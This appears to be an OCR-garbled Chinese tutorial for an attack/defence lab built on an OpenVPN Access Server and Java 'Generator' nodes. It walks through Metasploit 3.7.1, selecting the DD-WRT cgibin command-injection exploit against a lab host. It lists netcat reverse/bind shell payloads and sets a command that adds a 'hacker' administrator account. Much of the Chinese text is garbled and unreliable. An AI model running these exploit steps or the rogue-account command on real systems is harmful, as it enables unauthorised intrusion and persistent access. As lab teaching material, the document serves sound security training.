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OpenVPN Login - Mozilla Firefox

marks Tools Help

File Edit View History B

= - &> [[DIEELEE https://localhost:943/admin/ -] [*®~] @y

[ESl Mosk Visited v [@] Getting Started [E]Lateskt Headlines v () OpenVPN Server Admin
(1 OpenVPN Login e \ =

MPENVPN

OpenVPN Technologies, Inc.

Admin Login
Username |gpenupn
Parmword e

2, BRI e BT EIR R E SR DL SRR S, B ip kb A

; ; 0 1arks Tools He
= v @ @ [fﬁ I hetps://localhost:943/admin/status_over | [*§~ |
EfMost Visited » @) Getting Started [R]Latest Headlines ¥ () OpenVPN Server Admin

m OpenVPN Access Server Statu... ':‘::'

=]

Status Status Overview

Server Status

The server is currently ON

| stop the Server |

Active Configuration

Access Server version: 1.7.0

Server Name: 192.168.56.101

Authenticate users with: local

Accepting VPN client connections on IP address: eth5: 192.168.56.101

Port for VPN client connections: tcp/10000, udp/10000
FEIROE OSI Layer: 3 (routing/NAT)

3, W SR O C B D IR U0 R < 15 54T TR B B 4N server [ HHE 35 111 10000,
Riili add exception, WIE:



& & | https://192.168.56.101:10000/

Most Visited v

@) Getting Started [ELatest Headlines ¥ () OpenVPN config dow...

@ untrusted Connection qr

What Should | Do?

1f you usually connect to this site without problems, this error could mean that someone is trying to
impersonate the site, and you shouldn't continue.

| Getme out of here! |

Technical Details
1 Understand the Risks

IF you understand what's going on, you can tell Firefox to start trusting this site's identification. Even
if you trust the site, this error could mean that someone is tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn't use trusted
identification.

Add Exception... \

GRIR R BRI, ok AR

You are about to override how Firefox identifies this site.

Legitimate banks, stores, and other public sites will nokt
ask you to do kthis.

sServer

Location: | https://192.168.56.101:10000/ | | Get certificate

Certificate Status

This site attempts to identify itselF with invalid |
inFormation.

Wrong Site

Certificate belongs to a different site, which could indicate an
identikty theFt.

Unknown Idenktity

CertifFicate is not trusted, because it hasn't been verified by a
recognized authorikty.

click
/

| Permanently store this exception |

d/é_l;nﬁrm Security Exl:epl:innJ | & cancel

ok E S, T ES, HP4: nodel, % 15: blueicon.



OpenVPN Connect - Mozilla Firefox

File Edit View History Bookmarks Tools Help
] - 4> [IRIEEZRTTETREA https://192.168.56.101:10000/ v| [4g~] @

[ Most Visited v @] Getting Started [E]Latest Headlines v (3) OpenVPN config dow...

(1) OpenVPN Connect L' v |

®PENVPN

Username
nodel

Password

|Login +| | Go

Done 8 .

SRJE LU T R AF

x OpenVPN Connect - Mozilla Firefox

File Edit View History Bookmarks Tools Help

& - @ 4y [GIEEEETTETRL https://192.168.56.101:10000/ -] (S8~ @
Most Visited v [@] Getting Started [§]Latest Headlines v (3) OpenVPN config dow...
(1) OpenVPN Connect ar A |
Logout
To download OpenVPN Connect for installation on
another computer, please choose a platform below:
e OpenVPN Connect for Windows e

e OpenVPN Connect for Mac OS X

e OpenVPN Desktop Client for Windows

e OpenVPN for Linux
If required, connection settings (profiles) can be
downloaded for:

e Anyone at this server (server-locked profile)
e Yourself (user-locked profile)
i’-\;\

Done 8

i ORAT




[

Opening client.ovpn

You have chosen to open

|| client.ovpn

whichis a: ovpn File
from: https://192.168.56.101:10000

What should Firefox do with this file?

Openwith | Browse...

® Save File

Do this automatically for files like this from now on.

€cancel | | JOK |
WERAF R H 3%, BATW R4 : sudo  openvpn —config client.ovpn 1]
Fras, BINEWME, FHRARP RSN, REPATaHm42:

M ®E blueicon@blueicon-VirtualBox: ~/Downloads

File Edit WView Search Terminal Help
blueicon@blueicon-VirtualBox:~% cd Downloads/
blueicon@blueicon-VirtualBox:~/Downloads$ 1s
client.ovpn
framework-3.7.1-linux-mini.run
blueicon@blueicon-VirtualBox:~/Downloads$ sudo openvpn --config client.ovpn
[sudo] password for blueicon:
Fri Jun 10 16:06:25 2011 OpenVPN 2.1.8 i686-pc-linux-gnu [SS5L] [LZ02] [EPOLL] [P
KCS11] [MH] [PF_INET6] [eurephial] built on Jul 12 2018
Enter Auth Username:nodel
Enter Auth Password:

LRI 55 H B LA B At T DA B R 4 A T «



M@ blueicon@blueicon-VirtualBox: ~/Downloads

File Edit View Search Terminal Help

(s) in [PUSH-OPTIONS]:4: dhcp-pre-release (2.1.8)

Fri Jun 10 16:88:03 2811 Options error: Unrecognized option or missing parameter
{s) in [PUSH-OPTIONS]:5: dhcp-renew (2.1.0)

Fri Jun 18 16:08:83 2811 Options error: Unrecognized option or missing parameter
(s) in [PUSH-OPTIONS]:6: dhcp-release (2.1.8)

Fri Jun 18 16:88:03 2811 Options error: Unrecognized option or missing parameter
(s) in [PUSH-OPTIONS]:15: register-dns (2.1.8)

Fri Jun 10 16:88:03 2011 OPTIONS IMPORT: timers and/or timeouts modified

Fri Jun 10 16:88:03 2811 OPTIONS IMPORT: explicit notify parm(s) modified

Fri Jun 10 16:88:03 2811 OPTIONS IMPORT: LZ0 parms modified

Fri Jun 10 16:88:03 2011 OPTIONS IMPORT: --ifconfig/up options modified

Fri Jun 18 16:88:03 2011 OPTIONS IMPORT: route options modified

Fri Jun 1@ 16:08:83 2811 OPTIONS IMPORT: route-related options modified

Fri Jun 10 16:88:03 2011 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options
modified

Fri Jun 10 16:08:03 2811 ROUTE: default gateway=UNDEF

Fri Jun 10 16:88:03 2811 TUN/TAP device tun® opened

Fri Jun 10 16:88:03 2011 TUN/TAP TX queue length set to 168

Fri Jun 10 16:88:03 2011 /sbin/ifconfig tun@® 5.6.0.2 netmask 255.255.240.0 mtu 1
500 broadcast 5.6.15.255

Fri Jun 10 16:88:08 2811 NOTE: unable to redirect default gat

current default gateway from system

Fri Jun 10 16:88:08 2011 Initialization Sequence Completed

4, R HHEERF, EHHEHR -AFSWITIH, EADTHX

/Downloads/Milestone7_Release/Images/1304979751718_Milestone_7/Computer
_2/nodes, FHRIAUIT A4

java -Xmx850m -jar ../../distribution/GeneratorBoot.jar Outsource_Node 10002 no,
PAT A2 Ja L A

@™ BI3 Generator

Generator Configuration Manager

;VEIEEF’meNtOdBG K Advanced rCnDnnections |
ooting Node management for: .
=boot "Cutsource_MNode" ks r SR |
Generator status: Off .
Uptime
Generator is operational and ready hours |Off .
- | . Listed Agents
Listing agents on this Node min | |v|
sec
Number of fully loaded A... N/A
Number of Sets N/A
Startup Total Node partners N/A

generator.txt Node
blueicon@lueicon-VirtualBox:~/Downloads/Milestone7 Release/Images/1384979751718
Milestone 7/Computer 2/nodes/Outsource Node$ java -Xmx858m -jar ../../distribut

ion/GeneratorBoot.jar Qutsource Node 10082 no

Booting with Generator(String nodeId, int listenPort, autoBoot)

Starting with default parameters

Loading properties at: /home/blueicon/Downloads/Milestone? Release/Images/130497
9751718 Milestone 7/Computer_2/nodes/Outsource Node/generator.txt

iy Startup, TRIAIBEREEEVE, 7E connections WS INBERERY ip Huhik. RIS G SR
AW RN, Ui Outsourse CL& I IEEHE Core Agent. WK TIR:



x OpenVPN Access Server Current Users - Mozilla Firefox

File Edit View History Bookmarks Tools Help

& v @& [T https://localhost:943/admin/current_use v -'lv| @

(1) OpenVPN Server Admin

Most Visited v @) Getting Started [&]Latest Headlines v

m OpenVPN Access Server Curre... ESJ

m PE NVPN Access Server

Status Current Users

%joe% names are displayed)

Search By Name or IP Address (Enter joe and all the

| search || Reset |

Current VPN Users

Configuration
Common e VPN Bytes Bytes Connected Block
License Name Address Received Sent Since
S nodel 192.168.56.102:58813 5.6.0.2  25.63KB 26.46kB ' Jun 1)?]1116'07'59 (e

DN Sett

5, Defence FRAR I BEREFNERAE o FEAOD IRV EAE A B AR AR L, A2 BL node2
Bk, %N blueicon WEAT/N:

OpenVPN Connect - Mozilla Firefox

File Edit View History Bookmarks Tools Help

& N [REIRIT TR https://192.168.56.101:10000/ v| [SFv] e

Most Visited v  [@] Getting Started [R]Latest Headlines v () OpenVPN config dow...

(1) OpenVPN Connect Ci

WFFENVIIN
Logout

To download OpenVPN Connect for installation on
another computer, please choose a platform below:

e OpenVPN Connect for Windows

e OpenVPN Connect for Mac OS X

® OpenVPN Desktop Client for Windows

e OpenVPN for Linux
If required, connection settings (profiles) can be
downloaded for:

e Anyone at this server (server-locked profile)
* Yourself (user-locked profile)

[

Done
SR B BG83 %4 Core_code F1 Access_Code it , H.r

Core_code MIHAT T2 N:
java -Xmx850m -jar ../../distribution/GeneratorBoot.jar Core_Node 10000

noAccess_Code AT T4 :



java -Xmx850m -jar ../../distribution/GeneratorBoot.jar Access_Node 10001 no
BT B B s ) S

Generator Configuration Manager

gente_rator stztuds: s el ':Advanced [ Connections |

ooting new MNode 0
Node ID:Core_MNode MNode Status r Settings
SUZIE: startup called false IP_ Address | Port Mumber | Connected
Listen Port:10000 192.168.56... 10000|

FPreparing Mode...
Launching Mode...
Mode launched successfully
SUZIE : Connection started ConnectionDetails_| - |
4] 1il | | ] IP Addr... [ |

Port Number: | |
< BI3 Generator

Generator Configuration Manager

gen{e_rator Stztuds: on = | FAdvanced [ Connections |

ooting new Node =
SUZIE: startup called false Bl e S FAETS r ZEEGE
Mode ID:Access_Node IP Address [ Port Mumber| Connected
Listen Port: 10001 192.168.56... | 10000]|

FPreparing Mode...
Launching Mode...|
Mode launched successfully
SUZIE : Connection started ConnectionDetails_| - |
4] il ] ] IP Addr... | |

Port Number: | |
Stariun [atenn]

Add Connection | | Remove Connectic

PRI T 1 B AE i 1

Attack Template

1
1
: ]
\ OpenVPN Client ;
1
1
1

Defence Template

1
1
! _
H OpenVPN Client |
1
1
1
1
1

Qutsource Outsource Node Core Node
Agent |
1
1
Standard [ 4
) Port H Access Node
penetration |
Hacking tools 10000

testing software

Access Agent

=, BELAEMEH

b g T EL e P R A B AR L SIZEAL A, 3 B R A FH ) 42 framework-3.7. 1-linux-mini.run
HATHEEEEE, BARD BRI
1, FIJF. opt/framework-3.7.1/msf3/msfgui #E47151E AT A 5ERE, WA :



Connect to msfrpcd

Username | msf

Password

Host 127.0.0.1

Port 55553

ssL [
Disable DB [ ]

Start new msfrpcd J [ Change path { Cancel J { Connect J

WS JEAT S, IR

View Exploits Auxiliary Payloads History Post-Exploit Console Database Plugins Help

Connect to msfrped Services | Vulns | Events | Notes | Loots | Creds

Start new msfrpcd

Show connection details
Search
Exit Ctrl+Q

sl F kB e 1L Metasploit 23E THAHKRM A LR B




File View Exploits Auxiliary Payloads History Fost-Exploi
Jobs | Sessions  Hosts  C

Console Database Plugins Help

Vulns | Events | Notes

687 exploit 357 auxiliary 217 payload 39 post modules

i%&FF Console R new HIL—ANHT3EH] & A, Wk
[ console1

=[ metasploit v3.7.1-release [core:3.7 api:1.0]
- 687 exploits - 357 auxiliary - 39 post

- 217 payloads - 27 encoders - 8 nops

=[ svn rl2535 updated 25 days ago (2011.05.16)

+

warning: This copy of the Metasploit Framework was last updated 25 days ago.
we reconmend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http: //www. metasploit. com/redmine/projects/framework /wiki/Updating

msf = “

‘ | submit |
B IR exploits AT, X HHAESIS, i show exploits, &7~ 1] F [
BIETHR, WA



Name Disclosure Date Rank Description

aix/rpc_cmsd_opcode2l 2009-10-07 great AT¥X Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
aix/rpc_ttdbserverd realpath 2009-06-17 great ToolTalk rpc.ttdbserverd tt internal_realpath Buffer Owerflow (AIX)
bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Overflow

dialup/multi/login/manyargs 2001-12-12 good System V Derived /bin/login Extraneous Arguments Buffer Overflow
freebsd/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow (*BSD x88)

freebsd/tacacs/xtacacsd_report 2008-01-08 average  XTACACSD <= 4.1.2 report() Buffer Overflow

hpux/1pd/cleanup_exec 2602-08-28 excellent HP-UX LPD Command Execution

irix/lpd/tagprinter_exec 2601 -09-01 excellent Irix LPD tagprinter Command Execution

linux/ftp/proftp_sreplace 2006-11-26 great ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
linux/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
linux/games/ut2004_secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Linux)
linux/http/alcatel_omnipcx_mastercgl_exec 2007-09-09 manual Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
linux/http/ddwrt_cgibin_exec 2009-07-20 excellent DD-WRT HTTP Daemon Arbitrary Command Execution
linux/http/gpsd_format _string 2005-05-25 average Berlios GPSD Format String Vulnerability
linux/http/linksys_apply_cgi 2005-09-13 great Linksys WRTS4 Access Point apply.cgi Buffer Overflow
linux/http/peercast_url 2006-03-08 average PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)
linux/http/piranha_passwd_exec 2000-04-04 excellent RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution
linux/ids/snortbopre 2005-10-18 qgood Snort Back Orifice Pre-Preprocessor Remote Exploit
Linux/inap/inap_uw_Tsub 2608-04-16 good UoW IMAP server LSUB Buffer Overflow
Tinux/madwifi/madwifi_giwscan_ch 2006-12-08 average  Madwifi SIOCGIWSCAN Buffer Overflow

linux/misc/accellion_fta_mpipe2 2011-02-07 excellent Accellion File Transfer Appliance MPIPEZ2 Command Execution
linux/misc/drb_remote_codeexec excellent Distributed Ruby Send instance_eval/syscall Code Execution
linux/misc/gld postfix 2005-04-12 good GLD (Greylisting Daemon) Postfix Buffer Overflow
linux/misc/hplip_hpssd_exec 2007-10-04 excellent hplip hpssd.py From Address Arbitrary Command Execution
linux/misc/ib_inet_connect 2007-10-03 Borland InterBase INET connect() Buffer Overflow

linux/misc/ib_jrd8 create_database 2007-10-03 Borland InterBase jrdg create_database() Buffer Overflow
linux/misc/ib_open_marker file 2007-10-03 Borland InterBase open_marker_file() Buffer Overflow

1 /misc/ib_pwd_db_aliased 2007-10-@3 Borland Inte db_al. low

1 ps 4 in AP Pt S SRR

[

X355 T HA AR A B ALE F REAE RS
X HLEPE linux/http/ddwrt_cgibin_exec, #ii A\ info linux/http/ddwrt_cgibin_exec £
EBELAMGEE: WHE:

Provided by:
gat3way
hdm <hdm@metasploit.com=

Available targets:
Id MName

Q Automatic Target

Basic options:

Mame current Setting Required Description

Proxies no Use a proxy chain

RHOST yes The target address
RPORT 80 yes The target port

WHOST no HTTP server virtual host

Payload information:
Space: 1024

Description:
This module abuses a metacharacter injection vulnerability in the
HTTP management server of wireless gateways running DD-WRT. This
flaw allows an unauthenticated attacker to execute arbitrary
commands as the root user account.

References:
http://cve.mitre.org/cgi-binscvenamne, cgiPname=2009-2765
http://www.osvdb.org/55990
http: /fwww.securityfocus. comsbids35742
http: //www.milwBrm. com/exploits /9209

ELS

nsf = ‘

VNN 723 TR T EM TR, anng O, nEmBE AN EmE . A
use linux/http/ddwrt_cgibin_exec 774 [ linux/http/ddwrt_cgibin_exec #17151%,
/I

http:/www. milwGrm, com/exploits,/9209

Interrupt: use the 'exit' command to guit
mst = use linux/http/ddwrt_cgibin_exec

-

msf exploit(ddwrt_cgibin_exec) = |

BB H AR ip bk A EE R 1 A E PR



Interrupt: use the 'exit' command to quit

msf = use linux/http/ddwri_cgibin_exec

msf exploit(ddwrt_cgibin_exec) = set RHOST 1892.168.56.101
RHOST == 152,168,56,101

msf exploit(ddwrt cgibin_exec) = set RPORT 10000

RPORT == 10000

FLN
% shellcode 15 B, i show payloads, B RHH eI E, W&

HEURI == LUUUY
msT exploit(ddwrt_cgibin_exec) = show payloads

Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat -e)
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat -e)

Fak
BEREP ARG R
msf exploit(ddwrt_cgibin_exec) = info cmd/unix/generic

MName: Unix Command, Generic command execution
Module: payload/cmd/unix/generic
Version: 8615
Platform: Unix
Arch: cmd
Needs Admin: MNo
Total size: O
Rank: MNormal

Provided by:
hdm <hdm@metasploit.com=

Basic options:
MName Current Setting Required Description

CMD yes The command string to execute

Description:
Executes the supplied command

W E payload,
Description:

Executes the supplied command

msf exploiti{ddwrt_cgibin_exec) = set payload cmd/unix/generic
payload == cmd/unix/generic

==
ANnin N iy 4 set CMD net user hacker 123 /add & net localgroup
administrators hacker /add



[ e L L TR R R

nsf explont(ddvrt coubun exec) » set CMD net user hacker 123 /add € net localqroup adnumstrators hacker /add
(M =» et user hacker 123 /add & net localgroup adnanistrators hacker /add

ft
B AE R G AR R

I TS e e Ml MR ] el MMM A e b R R WM WM e b M e DR ]

msf exploit(ddwrt cgibin_exec) = show targets

Exploit targets:
Id Name

0 Automatic Target

msf exploit(ddwrt cgibin_exec) = set target @

target => 0

LS

N set WHEBVCEMGE, WA AN LIRS AN 42

ﬁé%jéﬁploi{(ddwrt_cqibin_exec) = set

Global

No entries in data store.

Module: Tlinux/http/ddwrt_cgibin_exec

Name Value

CMD net user hacker 123 /add & net localgroup administrators hacker /add
DOMAIN WORKSTATION

DigestAuthIIS true

DisablePayloadHandler false

EnableContextEncoding false

FingerprintCheck true

HTTP: :header_folding false

HTTP: :method_random_case false

HTTP: :method_random_invalid  false
HTTP: :method_random_valid false

HTTP: :pad_fake headers false
HTTP: :pad_fake_headers_count @
HTTP: :pad_get_params false

HTTP: :pad_get_params_count 16
HTTP: :pad_method_uri_count 1

HTTP: :pad_method uri_type space

HTTP: :pad_post_params false
~ HTTP::pad_post_params_count 16
<

& Jafi N exploit FAT5E. WK FR:

mst exploit(ddwrt cgibin exec) = exploit

[*] Sending GET request with encoded command line...
[*] Giving the handler time to run...

[*] Exploit completed, but no session was created.

LN

msf exploit(ddwrt_cgibin_exec) = “

REBFEMNMERA 2 BT, (B2, BENEARERLIT. HE, il
FERL AR 2 1% TR LI defence BAML, AN HIERAE e 2 . JEAS A2
TE 2 nit.
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bl B, B bR AN R B SES sk S5, ok A TSR N AT
SRR, (IR MRS T, LA, BUOVNRRZ Nl A% R, HI
MR HMESWROE R, fr I E O OB i, SHE Rk . i A
Wl —2e kD YR . ARG iR AN SISO I B SR . (HE, (RS- EREEAE
FRATCE I, FEHFTLISEI — 9815 . HRWATH —LekEin. —, N4 server
E)e, £-BINEESESWIT. =, A, SEEAE AR 10000 i EE
P MERE AR IR, SBWAMR X L . RN D BT AT



